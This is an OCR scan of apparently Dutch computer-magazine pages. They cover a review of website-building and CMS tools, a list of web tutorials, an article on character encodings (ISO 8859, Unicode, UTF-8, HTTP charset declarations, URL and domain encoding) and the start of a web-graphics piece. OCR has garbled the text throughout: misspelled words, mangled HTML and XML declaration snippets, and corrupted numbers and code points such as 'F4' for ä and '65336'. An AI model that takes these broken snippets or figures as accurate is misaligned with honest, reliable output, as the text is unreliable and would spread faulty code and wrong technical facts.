je achteraf de pagina's makkeiijk aanpassen, 
Het gemak van deze manier van werken be- 
tekent wel dat je binnen de mogelijkheden 
van die wizard moet blijven, maar dan heb 
je ook snel resultaat. De volledige versie van 
Incomedia's WebSite X5 heet Evolution 8 en 
kost 71 euro; Compact 8, de eenvoudigere 
versie, kost 42 euro. 


Zeta Producer Desktop is eveneens een heel 
gemakkelijk te bedienen CMS. Het wordt lo- 
kaal gemstalleerd en de voltooide pagina's 
kunnen via FTP naar de server geupload 
worden, De structuur van de website wordt 
links als een mapstructuur weergegeven. De 
subpagina's kunnen worden in- en uitge- 
klapt. Als je op een pagina klikt, verschijnt er 
in het rechter venstergedeelte een preview, 
van waaruit je via tabs naar verschillende 
pagina's kunt gaan die tools aanbieden 
voor de bewerking, De interface is vrtj sober 
opgezet, maar dat betekent ook dat je niet 
lang hoeft te zoeken naar alie noodzakelijke 
instelmogelijkheden. Je kunt kiezen uit 26 
lay-outs, die niet veranderd kunnen worden. 
De kleuren kun je daarentegen wel aanpas¬ 
sen. De mogelljkheid om externe editors te 
integreren, bijvoorbeeld voor HTML-paglna's 
of foto's, onderstreept het professionele ka- 
rakter van deze tool Zeta Producer Desktop 

9 kost 129 dollar, waarmee je vervolgens 80 
pagina's kunt beheren. De gratis versie heeft 
dezelfde mogelijkheden, maar gaat maar tot 

10 pagina's. De producent biedt nog andere 
versies aan, die bijvoorbeeld workflows on- 
dersteunen en veranderingen aan de lay-out 
toestaan, maar die zijn een stuk duurder. 

Een portal biedt meteen meerdere web- 
applicaties op intranet of internet aan, Als 
je een complex* portal wilt ontwerpen, kun 
je bij nul beginnen en alles met de hand 
programmeren of een aantal kant-en-klare 
systemen zoals een forum en gebruikersbe- 
heer met elkaar combineren, Met Intrexx 
Extreme kan dat een stuk snelier. Dit por¬ 
ta I fra me work heeft voor veef taken a I kant- 
en-klare componenten zoals een kalender, 
nieuwsbnef, contentmanagement, wiki's, 
blogs en nog veel meer. Met gei'ntegreerde 
tools genereer je hieruit op maat gernaak- 
te toepassingen, formulieren, lay-outs en 


menustructuren, Zelfs workflows kunnen 
door simpel drag&drop in beeld worden ge- 
bracht Intrexx Extreme kan bestaande gege- 
vens gebruiken, zoals gebruikersinformatie 
van een externe LDAP-server, en dat com¬ 
bineren met webservices, Een Portal Mana¬ 
ger is gratis te downloaden {300 MB), Maar 
de core business van Intrexx Xtreme bestaat 
natuuriijk ui! de Server-versies, varierend 
van Start (525 euro) tot Server License voor 
44.100 euro (allebei exdusief BTW). 

Een lets bescheidener variant is de Site 
Manager van Bitrix. Dit pakket legt de na- 
druk op makkeiijk websitebeheer in een 
Microsoft Office-achtige omgeving. De ge- 
bruikersinterface heeft daardoor een stelle 
leercurve, Tijdens het installeren wordt de 
Bitrix Environment gedownload met daarin 
de software die nodig is om de Site Manager 
te kunnen gebruiken; MySQL, PHP, Apache, 
Zend Optimizer en eAccelerator. Er is een 
30-dagen probeerversie. Ook hier lopen de 
prijzen weer aardig uiteen: van 250 dollar 
voor de Start Edition tot 2400 dollar voor de 
Enterprise Edition en 9990 dollar voor de Ul¬ 
timate Edition met ondersteuning voor ver¬ 
schillende databases. 

Gelukkig zijn er ook opensource moge¬ 
lijkheden, Plone is geschikt voor content-, 
document- en kennismanagement. In een 
paar minuten heb je een intranet, portal, 
groupware-tool of website. Het is beschik- 
baar voor Windows, Linux en Mac OS X, Na 
het installeren kom je via de Plone Controller 
bij de managementinterface van Zope of de 
Plone-site. Het aanmaken van een site is zo 
gepiept, daarna kun je meteen aan de slag 
met de content, Ook is het vrij eenvoudig 
een andere stijl te downloaden en te instal¬ 
leren, Het lijkt qua opbouw en bediening 
ailemaal wel wat minder overzichtelijk dan 
Joomla en zeker Drupal. 
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Tutorials 

Er zijn op internet een heleboel handlei- 
dingen en online boeken te vinden over de 
meest verschillende onderwerpen. Daar moet 
je dan wel even voor gaan zitten, Alle tutorials 
die we hier noemen, zijn te vinden via de soft- 
link. Enkele tutorials zijn in de vorm van een 
pdf-bestand, zodat je die kunt downloaden 
en verder overal offline kunt bekijken, bijvoor- 
beeld op een e-bookreader. 

Een algemene Inleiding in de Aj ax-tech nolo- 
gie komt van Matthew Eernisse met 'Build Your 
Own AJAX Web Applications'. Daarln wordt ook 
het klassieke back-button p rob Seem opgelost: 
in een Ajax-applicatie wordt van verschillende 
bronnen jnformatle opgehaald, waardoor de 
pagina er altijd anders uit zal zien, omdat die 
steeds opnieuw aangemaakt en geupdatet 
wordt. Dan heeft een terug’-knop wel nig 
waarde en leidt die tot rare bijverschijnselen. 

Voor de opensource CMS'en zijn prima tu¬ 
torials te vinden, zoals Make a Joomla Tem¬ 
plate in 5 Easy Steps' van Gary Reid en de 
'Joomlal 1,5; Quick Start Guide' van de Joomla 
Document Work Group, waann alles over het 
installeren en beheren van Joomla 1.5 behan- 
deld wordt. Daarna kunje met'An Incomplete 
Guide To SEO + Joomla SEO' van Barrie North 
je website optlmaliseren voor zoekmachines. 
Voor Drupal kun je met de tutorial 'Drupal 6 
Content Administration' van J. Ayen Green het 
CMS installeren maar vooral ook beheren, en 
is dan ook met name bedoeld voor content- 
editors. 

A3s je per se alles in eigen hand wilt hou- 
den, kun je bijvoorbeeld met AlavoorVasude- 
vans uitgebreide inleiding 'PHP HOW-TO' aan 
de slag of met 'Websites bouwen met Nvu' 
van Wim van Dessel zelf een website maken. 
Als je tocb minder ge'interesseerd bent in 
de code en meer in het creatieve proces via 
WYSIWYG, dan biedt Creating a Website: In¬ 
troduction to Dreamweaver 1 een inleiding in 
Dreamweaver CS3< 

Videovoorbeelden 

Ais je een programmeertaal echt goed wilt 
leren of met een softwaretooi wilt kunnen 
amgaan, Is de meest efficlente manier daar 
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Met het CMS Plane 

heb je zo een systeem online om content en documenten te beheren en te delen. 


samen met iemand die er verstand van heeft 
mee aan de slag te gaan of je te laten voor- 
doen hoe het moet. Gelukklg hoef je niet af- 
hankelijk te zijn van anderen: er zijn een aar- 
dig aantal videotutorlals op Internet die je in 
alle rust kunt bekijken en waarmee je eventu- 
eel meteen mee kunt doen. 

Als het begrip Ajax je nog niet hefemaa! 
duldelijk is, kunje op ki I lerajax.com meer dan 
3 uur video's bekijken over dat onderwerp. 
Daarblj komt de hele range van het XMLHttp- 
Request-object tot en met het inbedden van 
de gebruikersinterfaceeode Scriptaculous 
aan bod. 

Voor Joomla en Drupal, maar ook voor an- 
dere systemen als Word Press en pbpBB, zijn 
er videotutorials die met name voor de be- 
ginnende contentmanager bedoeld zijn. Die 
video's laten in een notendop zien wat de mo- 
gelijkheden zijn en waar je die in de back-end 
kunt vinden. Dat werkt een stuk sneller dan 
dat zelf te moeten ultvisseru 

Ook voor onderwerpen als PHP, HTML en 
CSS zijn er vldeotu- 
torials, waarbij de 
moellijkheidsgraad 
van de onderwerpen 


meestal laag is en je er prima mee op gang 
wordt geholpen. De problemen die je daarna 
tegenkomt zijn meestal specif ieker, en dan 
kom je vanzelf uit bij de eerder genoemde 
online tutorials. 

Zoekje eigen weg 

Het blijkt dat er veel verschillende manieren 
zijn om een en hetzelfde probleem op te los- 
sen, Welk type en welke webeditor je kiest, is 
een kwestie van persoonlijke voorkeur, maar 
ook van de eisen die je aan je website stelt. 

Voor vrijwel ieder aspect van het ontwikke- 
len van een webapplicatie zijn er opensource 
en commerdele mogetijkheden. Ben je niet 
vies van wat handwerk en vind je het leuk om 
dingen zelf uit te zoeken, kljk dan eerst bij de 
freeware mogelijkheden. Hecht je meer waar¬ 
de aan ondersteuning en continuiteit, dan 
hangt daar meestal ook een prijskaartje aan. 
m (nkr) 

( $oftlinkO9WD048 




Maak met NetObjects Fusion een website op een dtp-achtige ma- Met de wizard van WebSite X5 maak je snel een lay^ 
nier met drag&drop. na met dezelfde wizard van content kunt voorzfen. 
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Webdesign ] Tekencoder ingen 


Herbert Braun 

Digitale spraakverwarring 

De grondbeginselen van tekensets voor webdesigners 


Specials tekens en vreemde alfabetten vormen twintig jaar na de oprichfing 
van het World Wide Web nog steeds een probleem. Meet een webdesigner nog 
steeds &euml; schrijven om een trema zonder kleerscheuren in de browser 



te krijgen, of volstaat een ongecodeerde e? Het is allemaal een kwestie van 
te ken codering. 


A Is je op een website of in een RSS-feed 
een wirwar aan tekens bestaande uit 
blokjes, vraagtekens of zinloze let- 
tercombinaties te zien krijgt, duidt dat op 
problemen met de declaratie van de teken- 
set. Zelfs drukbezochte websites zijn niet Em- 
muun voor dit soort fouten, waarvan de oor- 
sprong vaak verborgen figt tussen database 
en contentmanagementsysteem. Soms heb- 
ben verschillende browsers tegengestelde 
ideeen over de juiste codenng. 

Problemen met trema's en speciale te¬ 
kens bevestigen het feit dat computers niet 
in cijfers en letters denken. Elk teken dat je 
In de webeditor of in de adresregel van de 
browser intypt meet door de computer a Is 
een reeks enen en nullen worden gei’nter- 
preteerd. De re gels hiervoor zijn met grote 
willekeur vastgelegd - of zoals Joel Spolsky 
verklaart: "There Ain't No Such Thing As Plain 
Text' 1 (er is niet zoiets a!s platte tekst) [1]. 

Deze regels heten code ring (Engels: enco¬ 
ding). Een tekenset (character set, kort: char¬ 
set) staat daarentegen voor de reeks tekens 
die kunnen worden weergegeven, gewoon- 
lljk inclusief de eoderingsregels, De begrip- 
pen worden meestal niet seherp van elkaar 
gescheiden. 

Hoe we! er duizenden tekensets zijn ont- 
wikkeld, zijn er in de praktijk maar enkele 
relevant. Hierbij is ASCII koploper, wat staat 


voor American Standard Code for Informa¬ 
tion Interchange. Met 7-bit ASCII kunnen 
2 7 # dus 128 tekens worden weergegeven. 
Trema’s zitten daar niet bij. 

ISO 8859-1 heeft daarentegen een dub- 
bele tekenomvang (256 tekens, 8 bit). Hier- 
mee ondersteunt deze standaard de speciale 
tekens van bijna alle West- en Midden-Euro- 
pese talen. Samen met de ervan afgeleide 
Windows-1252-standaard wordt ISO 8859-1 
inmiddels breed toegepast. Er bestaan ook 
varianten van ISO 8859 voor niet-Europese 
talen. Maar zeker als het om talen uit het 
Verre Oosten en de bijbehorende duizenden 
tekens gaat, kun je het met 8-bit-tekensets 
wel vergeten. 

Unicode (zie kader) rekent af met dit soort 
beperkingen. Unicode is een tekentabei die 
alle bekende schriften wil weergeven. Dit 
systeem omvat op dit moment ongeveer 
100.000 tekens. De belangrijkste coderin- 
gen van Unicode zijn UTF-16, dat de meeste 
Unicode-tekens in 16 bit weergeeft, en UTF- 
8. De laatste is net als ISO 8859 ASCII-compa- 
tibel; tekens buiten her ASOII-bereik worden 
met 16,24 of 32 bit geschreven. 

&Umlauten; 

Hoewel ISO 8859 begin jareo negentig al 
erg veel werd gebruikt en de ontwikkeling 


van Unicode allang was begonnen, wist het 
vroege World Wide Web niets van tekens 
buiten het ASCN-bereEk. Zo vind je in de me- 
dewerkerlijst van de eerste HTML-specifica- 
tie de voigende entry: N Kari Syd{nmaanlakka 
(,f is ‘a 1 with two dots above it... we must 
get some character set description into 
HTML!)". 

HTML+, dat uit 1993 dateert, nam een 
techniek over van SGML, waaraan HTML was 
ontleend. Hiermee konden speciale tekens 
in ASCII worden uitgedrukt. HTML-entiteiten 
(entity’s) beginnen met het &-teken (amper¬ 
sand), gevolgd door een afkorting en een 
puntkomma. Zo verandert een a in &auml;. 
Er bestaan in totaai 252 van zulke entiteiten. 
Op de pfaats van de afkorting kan ook een 
hekje staan, gevolgd door het Unicode-te- 
kennummer. De a heet dan &#228 of (hexa- 
decimaai) &#xE4;. 

Deze entiteiten staan tot op de dag van 
vandaag op de meeste webpagina's waarop 
met-ASCII-tekens opduiken. Maar wat ge- 
beurt er als een webdesigner niet &#22S;, 
&#xE4; of &auml; schrtjft, maar simpelweg a? 
Welke coded ng gebruikt een webpagina? 

Beschreven envelop pen 

Niet HTML is voor die vraag verantwoorde- 
lijk, maar het overdrachtsprotocol HTTP, dat 
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tegeiijkertijd ontstond. Het document kan 
tenslotte moeilljk informatie over zichzelf 
verstrekken - ah iemand je in het Chinees 
uitlegt dat hij Chinees spreekt, zul je die in¬ 
formatie waarschijnlijk ook niet begrijpen. 

HTTP plaatst bij het versturen van web- 
paginal een zogenaamde header voor de te 
versturen data. Deze bevat net ah een en- 
vefop metaHnformatie over het document 
Het protocol heeft veel technlsche details 
van het e-mailformaat MIME overgenomen. 
MIME en HTTP kennen de headereigen- 
schap Content-Type, die bepaalde voorgedefi- 
nieerde waarden mag aannemen. Zo staat 
text/html voor een webpagina, text/plain voor 
tekstdocumenten en applicatlon/xml voor XML 
of XHTML Dit veld kan bovendien de teken- 
codering bevatten: 

Content-Type: text/html; charset=utf-8 

Zowel de MIME-typen a Is de exacte namen 
van de tekencoderingen zijn door de in- 
ternetorganisatie IANA (Internet Assigned 
Numbers Authority) gespecificeerd. Hierbij 
spelen hoofdletters of kleine letters geen 
rol. 

Deze HTTP-header kan door de beheer- 
der van de Webserver worden ingesteld. In 
het Apache-configuratiebestand httpd.conf 
word! de codering voor elk als text/html of 
text/plain afgeleverd document door de 
waarde van addDefauUCharset bepaaid. Hoewel 
de standaard waarde ('On') voor ISO 8859-1 
staat kan eJke willekeurige tekenset worden 
opgegeven. Bovendien kan Apache teken- 
sets aan bestandsextensies koppelen: zo 
wijst addCharset iso-3859-5 .ru cyrillische tekens 
toe aan aile bestanden met de extensie 

Om erachter te komen welke HTTP- 
headers een Webserver uitgeeft, kun je een 
beroep doen op een hele reeks webdiensten 
(zie softlink). Een netwerksniffer ah Wire- 
Shark of de Firefox-add-on Live HTTP Headers, 
die de gehefe HTTP-communicatie afluiste- 
ren, bieden nog meer details. 

Designerwensen 

Bij de declaratie van de tekenset via HTTP 
zouden de beheerder van de server en de 
webdesigner idealiterdit met elkaar moeten 
afstemmen. In de praktijk is dat niet altijd 
haalbaar. Hoewel zo’n declaratie in het do¬ 
cument op zich onzinnig is, voorziet HTML 
toch in die mogelijkheid, namelijk via de 
omweg van een 'HTTP-equivalent 1 in de pa- 
ginaheader, Hiermee kan de HTML-pagina 
een ontbrekende HTTP-header toevoegen: 

cmeta http-equiv="Content-Type" content-"text// 
htmbdwr$et=utf-8"> 

Deze constructie verandert zogezegd de in¬ 
formatie op de envelop terwijl de ontvanger 
de brief a I aan het lezen is. Dat werkt in de 
praktijk heel betrouwbaar, mede doordat de 
meest gebruikte tekensets ASCII, ISO 8859 
en UTF-5 deze regel in dezelfde bytevolg- 
orde weergeven. 
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Op de Oudengelse 
Wikipedia maakt het wel 
degeiijk uit welke codertng 
je hebt ingesteld: UTF-8 
(links) geeft de vreemde 
tekens wel we@r r terwijl ISO- 
8859-15 (redits) er niet 
mee overweg kan. 
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HTML-opvolger XHTML is gebaseerd op XML 
en biedt daarom een tweede mogelijkheid om 
de tekenset in het document op te geven: de 
XML-dedaratie aan het begin van het docu¬ 
ment. Deze staat eveneens het opgeven van 
de tekenset toe: 

<?xml version^’l.O" encodirtg="utf-8'7> 

Bij twijfel krijgt deze declaratie voor rang boven 
<meta http-equiv=" < + f 7>. In de praktijk komt die 
echter maar wemig voor, orndat bij Internet 
Explorer 6 vreemd genoeg de Quirks-mod us in 
werking wordt gezet. De browser wordt hier- 
door compatibel met oudere HTML-pagina r s, 
maar bevat dan dus ook de oude fouten. 

Overigens is het noch met het XML-element 
noch met de metatag mogelijk om een via 
HTTP gedeclareerde tekenset te overschrijven. 
Als de admin een tekencodering op de server 
heeft vastgelegd, kun je daar ah webdesig¬ 
ner niets aan veranderen. Zo'n instelling kan 
enkel met scripttalen als Python, Perl of PHP 
worden omzeild, die op de server draaien. 

Een steekproef bij shared-hostingpakket- 
ten van marktleider Strato leverde geen de¬ 
fault ingestelde codering op, Hier heb je ah 
webdesigner dus de vrije hand bij de vorm- 
geving, maar ook de pllcht de client over de 
gebruikte codering te informeren. 

Er bestaat geen standaard tekencodering 
voor HTML. Dat is anders bij XML en XHTML 
bij UTF-8 en UTF-T 6 beef je in theorie geen 
tekenset op te geven. Helaas druist dit in 
tegen de jongste HTTP-specificatie RFC 
2616, die het over ISO 8859-1 ah standaard- 
codering heeft. Expliciete declaratie is dus 
dringend aan te raden. 


Als informatie over de tekenset in zowel de 
webpaginah ah de HTTP-header ontbreekt, 
proberen de browsers deze te raden - met 
wisselende resuitaten. UTF-8 en UTF-16 le- 
verden geen probiemen op voor de brow¬ 
sers wanneer het bestand met de Byte Order 
Mark (U+FEFF, in UTF-8 als EF BB BF weerge- 
geven - zie kader) begint, Bij gebrek hieraan 
herkende alleen Firefox beide Unicode-stan- 
daarden. Opera kon in elk geval met UTF-16 
overweg. 

Firefox en Opera hebben de neiging fou- 
tieve coderingsdeclaraties in de <meta>-tag 
te negeren wanneer ze met BOM zeker zijn 
van hun zaak. Safari en Chrome zijn een stuk 
minder tolerant: zij widen de HTML-parser 
bij dit soort fouten nog wel eens uitscha- 
kelen en de kale broncode weergeven, Ou¬ 
dere versies van Internet Explorer hebben 
problemen met ISO 8859-15, de in e-mails 
populaire opvoiger van ISO 8859-1 die het 
eu rote ken bevat. 

Ah het raden mislukt, maken de browsers 
gebruik van de in de configuratie ingestelde 
standaard tekenset, Normaal gesproken is 
dat ISO 8859-1 of Windows-1252. 

Overigens kan ook de client zijn coderings- 
wensen kenbaar maken. Firefox, Chrome 
en Opera doen dat in de HTTP-header Accept- 
Charset, waar ze een lijst van tekencoderin¬ 
gen opgeven die de voorkeur hebben. Dat 
is alleen van betekenis ah de server meer- 
dere tekencoderingen aanbiedt waaruit 
je kunt kiezen, De HTTP-request kan zelfs 
met JavaScript gemanipuleerd worden: het 
XMLhttp-request-object, de basiscompo- 
nent voor Ajax-applicaties, kan willekeurige 
HTTP-headers plaatsen (zie p. 72). 
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Stour me een berichtje: 

-j ( Vwtuur ) 




Safari decodeert formal iergegevens die met UTF-8 zijn gecodeerd en via De meertalige Windows-tekentabel geeft tekens via 

GETzijn overgedragen meteen in de adresbalk. Unicode weer. 


Exotisch HTML 

(X)HTML ondersteunt het attrrbuut charset in 
de elementen <a>, <Link> en <script>, Dat is 
dus overal waar extern e tekstbestanden wor- 
den ge'integreerd of daarnaar wordt gelinkt. 
In onze test gingen alle browsers de mist in 
bij een gelinkt tekstbestand* Bij een ingebed 
JavaScript hadden Internet Explorer, Ftrefox, 
Safari Chrome en inmiddels ook Opera het 
daarentegen allemaal goed; alleen IE 7 liep 
stuk op stylesheets in een andere tekenset. 

In het <form>-eiement kun je als webde- 
signer via het attribuut accept-charset een Itjst 
coderingen opgeven. Hieruit kan de browser 
kiezen bij het versturen van de formulierge- 
gevens. De resultaten varleren van browser 
tot browser en zijn in de praktijk moeilijk te 
voorspellem De programma's vervangen 
UTF-16 principled door UTF-8. Internet Ex¬ 
plorer laat zich er met toe bewegen een an¬ 
dere codering dan UTF-8 of ISO 8859-1 te 
gebruiken, zelfs als deze niet worden aange- 
boden. Waar IE voor kiest, hangt ook van de 
tekencodering van de webpagina af. 

Deze wirwar aan regels en (verkeerde) in- 
terpretaties door de browser kan geniepige 
fouten veroorzaken. Een voorbeeid van een 
inmiddels opgelost probleem is de newsfeed 
van de PFIP-website (www,php,net/news/ 


rss). Floewel de feed in de XML-header cor¬ 
rect als UTF-8 was gedeclareerd, bevatte de 
FITTP-header geen declaratie van de code¬ 
ring. Men had echter over het hoofd gezien 
dat de server het document als MIME-type 
'text/plain' uitleverde. Omdat een puur tekst- 
document niets over zijn eigen codering kan 
zeggen, schakelden een aantal feedreaders 
over naar de standaardcodering, dus Win¬ 
dows-1252. Internet Explorer 6 kon de feed- 
URL niet eens openen. 

Als de codertng van de webpagina over- 
eenkomt met de declaraties in de HTTP- 
header en de pagina zelf H kan die de hele 
voorraad afbeeldbare tekens benutten. Alleen 
<,> en & moeten worden omschreven als &lt;, 
&gt; en &amp; wanneer ze in de lopende tekst 
of als HTMl-attribuutwaarden voorkomen. 

Alle andere HIML-entiteiten zijn overbo- 
dig als de pagina in een geschikte codedng 
wordt opgeslagen en verstuurd, bijvoorbeeld 
ISO 8859-1, UTF-8 of UTF-16. In de praktijk 
schrljf je webpagina's vaak in de Windows- 
tekenset Windows-1252 en declareer je die 
als ISO 8859-1, Dat werkt zolang het lastige 
gedeelte tussen de tekens 128 en 159, waar 
Windows-1252 de ISO-stuurtekens vervangt 
niet wordt gebruikt, Daar staan bijvoorbeeld 
het eurosymbool (nr, 128) of typografische 
aanhalingstekens. 
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U+ID200 - U+1D24F Ancient Greek Musical Notation 



De Unicode- 
tekentabel, Her op 
www.decodeunicode. 
org,archiveert het 
heie culturele erfgoed 
aan schrifttekens. 


Wat browsers willen 

Een correcte overdracht is echter geen ga- 
rantle dat de browser het teken julst weer- 
geeft. Zo kun je in alle gangbare browsers in 
het menu Beeld’ een tekenset afdwingen: bij 
Internet Explorer en Chrome heet de instel- 
ling 'Codering; bij Firefox en Opera Tekenset' 
en Safari noemt hem 'Tekstcodering', Opera, 
Chrome en Safari laten daar altijd 'Automa¬ 
tised of ‘Standaard’ zien als je de codering 
niet hebt veranderd; bij Opera geeft het tnfo- 
panei uitsluitsel over de codering. 

De gebruiker profiteert alleen van een 
correcte tekenoverdracht als er een geschtkt 
lettertype is geinstalleerd. De browsers wij- 
ken heel slim uit naar een default ingesteld 
lettertype als ze tekens niet kunnen weerge- 
ven in het font waar de website om vraagt. 
Als het systeem niet over de noodzakelijke 
lettertypen beschikt, moet het placeholders 
weergeven - in het ideale geval het Unicode- 
vervangingsteken U+FFFD (een rechthoekje) 
of het vraagteken. 

Als je webpagina's met een normale web- 
editor opmaakt, heb je zelden de keuze uit 
meer dan een handjevol coderingen; vaak 
alleen de standaard tekenset van het be- 
sturmgssysteem. Spedale webeditors als 
Dreamweaver en Kompozer kennen net als 
browsers een groot aantal coderingen. Zelfs 
Windows' huiseigen primitieve Kladblok on¬ 
dersteunt UTF-8, UTF-16 en Windows-1252 
(verwarrend als 'ANSI' aangeduid). 

Voor de invoer van exotische tekens kun 
je onder Windows het Windows-1252-teken- 
nummerop het numerieke toetsenblok met 
een ingedrukte Alt-toets invoeren, Zo tovert 
Alt+0228 een 'a' tevoorschijn. Zonder de 
voorafgaande nul, gebruikt het systeem de 
DOS-codering CP85G; Alt+228 levert dus 'o' 
op. Macs gedragen zich bij een ingedrukte 
optletoets net zo. Praktischer is de tekentabe! 
{Mac: Teken pa let 1 ), die de hele tekenvoor- 
raad van een bepaald lettertype aanbiedt. 
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Een code voor alle talen 


De ontbrekende compatibiliteit van vroege- 
re tekensets en problemen met Aziatrsche 
tekens vormden de kern van een project om 
een universele tekentabel tot stand te bren- 
gen voor alle levende en dode talen van de 
wereld; Unicode. 

Unicode (ISO 10646) is een database die aan 
elk teken een cijfer toewijst, de zogenaamde 
code point Voor a is dat bijvoorbeeld het 
hexadecimale getal F4, in Unicode-jargon 
U+OOE4. Bovendien zijn tekeneigenschap- 
pen zoaJs leesnchting, weergavevolgorde 
en combtnatieregels vastgelegd. 

Oorspronkelijk dacht men aan 16 bit genoeg 
te hebben, dus 65336 tekens. Eind jaren 90 
werd dit echter aan de krappe kant, en dus 
maakten de Unicode-archltecten ruimte 
voor een mlljoen tekens, waarvan er in de 
actueie Unicode 5.1 ruim 100.000 in gebruik 
zijn. Tot en met nummer 65.536 heeft men 
het overde Basic Multilingual Plane 1 (BMP). 

Het hexadecimale getal E4 staat ook in ISO 
8859-1 voor het teken a, Unicode heeft de 
eerste 256 tekens in de tabel van ISO 8859-1 
overgenomen, wat op zijn beirrt weer met 
de 128 ASCIl-tekens begint. Unicode heeft 
ook andere tekensets voor een dee! volle- 
dig geintegreerd om invoeringsdrempets te 
slechten. Daarbij nam men dubbele entry's 
op de koop toe - er zitten alleen ai 19 spa- 
tietekens in, 

Transformator 

Toen Unicode nog beperkt was tot 16 bit, 
leek de omzetting naar een reeks van bytes 
niet veel voor te stellen: U+GQE4 voor a werd 
gewoon veranderd in de twee bytes 00 E4 

Domeinnamen 

Het is nog problematlscher als je sped- 
ale tekens in webadressen gebruikt. In 
domeinnamen zijn alleen cijfers, Latijnse 
tekens (zonder rekenlng te houden met 
hoofd- en kleine letters) en het minteken 
toegestaan. Aangezien de vraag naar meer- 
talige ondersteuning toenam, werd in 2003 
Internationalized Domain Names (tDN) 
gemtroduceerd. Hlermee werd de reusach- 
tige Unicode-tekenvoorraad op deze smalie 
basis toegankelijk gemaakt. Hiervoor wordt 
de Punycode-codering gebruikt, die een do- 
meinnaam met speciale tekens vertaalt naar 
een reeks letters, cijfers en mintekens. Na 
een vaste prefix xn~ aan het begin van de 
domeinnaam, volgen de tekens die direct 
weergegeven kunnen worden. De geco- 
deerde speciale tekens komen aan het eind, 
gescheiden door een minteken. 

Voor paden, paginanamen en URL-para- 
meters wordt een deelverzameling afbeeld- 
bare ASGI-tekens aangeboden, De verschif- 


- daarmee was UTF-16 (Unicode Transfor¬ 
mation Format, 16 bit) geboren, De zelden 
voorkomende tekens buiten de BMP worden 
weergegeven met een 4 bytes surrogate pair. 
De voor de hand liggende gedachte het uit- 
gebreide Unicode met 32 bit weer te geven 
(UTF-32) krfjgt weinig support. Tenslotte 
g roe it daarmee elk teken naar 4 bytes. UTM 6 
wordt daarentegen door Windows, Mac OS X 
en Java intern voor tekstst rings gebruikt. 

Gangbare hardware zoals de pc-architectuur 
prefereert bij UTF-16 de omgekeerde byte* 
volgorde E4 00, Zo ontstonden de varianten 
UTF-16BE Cbig-endian' de belangrijkste byte 
staat vooraan) en UTF-1SLE ('Iittle—endian p )- 
Om de gebruiker hier niet mee te belasten, 
verstuurt UTF-16 {zonder toevoeging) om te 
begin nen het stuurteken Byte Order Mark 
U+FEFF: als dit als FF FE aankomt, gaat het 
om de variant little-endian. 

UTF-8 was een doors band succes, omdat het 
verschilfende dingen voor elkaar krijgf: het 
geeft de hele Unicode-tekenvoorraad weer, 
is bij de vaak benodigde Jage tekennum- 
mers compact en hierbij zelfs compatibel 
met ASCII. Bovendien kan het verwerkende 
programma van elke byte achterhalen of het 
aan het begin van een teken staat. Zo kun¬ 
nen ooklnvoervelden betrouwbaar worden 
gelezen en zoekfuncties effectief worden 
omgezet. 

UTF-8 beperkt zich bij de eerste 128 Unico- 
de-tekens tot 1 byte en heeft voor trema's 
en andere Europese, Semitische en Aziati- 
sche talen 2 byte nodig. De meeste Oost- 
Aziatische schriftekens kunnen met 3 byte 
worden weergegeven, Alleen de am per ge- 
bruikte tekens buiten de BMP kosten 4 byte. 


lende versies van de URJ-specificatie RFC 
1630 (1994} r RFC 2396 (1998) en RFC 3986 
(2005) spreken elkaar in een aantal details 
tegen. Bovendien gelden voor parameters 
(gescheiden door het vraagteken) andere 
regels dan voor paden en paginanamen. De 
scheidlngstekens ;/?@&;=# n zijn net als de 
spatie in elk geval verboden. Ook de tekens 
0 [1 <> + * $,!' | \ brengen de toegankelijk- 
heid van de website in gevaar 

AI deze tekens zouden in URL's met him 
hexadecimale equivalent in de ASCII-tabel 
gecodeerd moeten worden, gekenmerkt 
door het procentteken. Zo verandert de 
spatie in %20. Het procentteken zeif moet 
eveneens gecodeerd worden (%25). 

De codering van niet-A SC 11-tekens is so- 
wieso probfematisch. De laatste, nog nau- 
welijks gefmplementeerde URI-speciftcafie 
RFC 3986 maakt het coderen van paden 
met UTF-8 mogelljk. Een a zou zo verande- 
ren in %C3%A4 (het is gebruikeltjk dat de 
hexadecimale tekens A tot F groot worden 
geschreven, maar het is niet verplicht). Tot 


dusver kom je dit soort URL’s echter nau- 
welijks tegen. De servers kunnen beter 
overweg met ISO 8859-1. Bij het versturen 
van formuiiergegevens zetten browsers 
de tekens die niet in de gekozen codering 
weergegeven kunnen worden, om in URL- 
gecodeerde numerieke HTML-entitelten. 
Zo staat %26%23228%3B voor a, wat staat 
voor &#228;. 

Het is over het algemeen geen goed 
idee om speciale tekens in websitetltels en 
-paden te gebruiken. Betrouwbare en lees- 
bare URUs bevatten alleen de als gereser- 
veerd gedeclareerde ASCII-tekens - , _ ~ en 
cijfers en letters. Bij letters moet je er reke- 
ning mee houden dat niet alle webservers 
onderscheid maken tussen hoofdletters en 
kleine letters. 

Tekens 

Toch ligt het in de lijn der verwachting dat 
na de domeinnamen en top-teveldomeinen 
in de toekomst ook paden en paginanamen 
gemternationafiseerd zulten worden. In de 
webcommunity zijn de meningen nog sterk 
verdeeld over de vraag of dit bijdraagt aan 
een betere communicatie of juist de unifor¬ 
me adressering in gevaar brengt. 

Maar wat de paginacontent betreft, is 
de meertalige ondersteuning door Unico¬ 
de een grote vooruitgang. Ook al heeft de 
Europese webdesigner meestal maar een 
fractie van de tekenvoorraad nodig; de co¬ 
dering van webpagina’s in UTF-8 is met het 
oog op de toekomst een goede keuze. Dat 
is voor geen enkele moderne browser een 
p rob teem, terwijl hooguit een aantal edi¬ 
tors het nog niet ken nen. 

Door de tekenset te declareren, kun je 
de transcriptie van trema's omzeilen en de 
broncode leesbaarder maken. Hiermee zijn 
constructs als &auml; in webpagina's de- 
fin itief overbodig geworden. 

De grootste moeilijkheid is de corrects 
declaratie. De lastige en verwarrende dub¬ 
bele declaratie van HTTP-equivalent en 
XML-deelaratie in een XHTML-document 
dateert nog uit het vroege HTML-tijdperk. 
UTF-8 en UTF-16 zijn bij XHTMl-pagina's 
standaard en zouden eigenlijk niet speciaal 
opgegeven hoeven worden. Helaas is dat 
niet doorgedrongen tot de meeste brow¬ 
sers die op ISO 8859-1 rekenen. (mda) 
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Herbert Braun 

Verfrissende kijk 

Tips en trues voor webgraphics 

Als je plaatjes op je webpagina wilt, zlt je tegenwoordig niet meer vast aan 
<img src="fotojpg ,, x Je kunt je afbeeldingen via CSS of direct in de HTML- 
broncode opnemen, ook transparanties in alle mogelijke situaties en vector 
formaten zijn mogelijk. 


I edereen, die ztch ook maar een paar mi- 
nuten met HTML heeft beziggehouden, 
weet hoe je afbeeldingen op een webpa- 
gina moet zetten. Pak gewoon een cimgxtag 
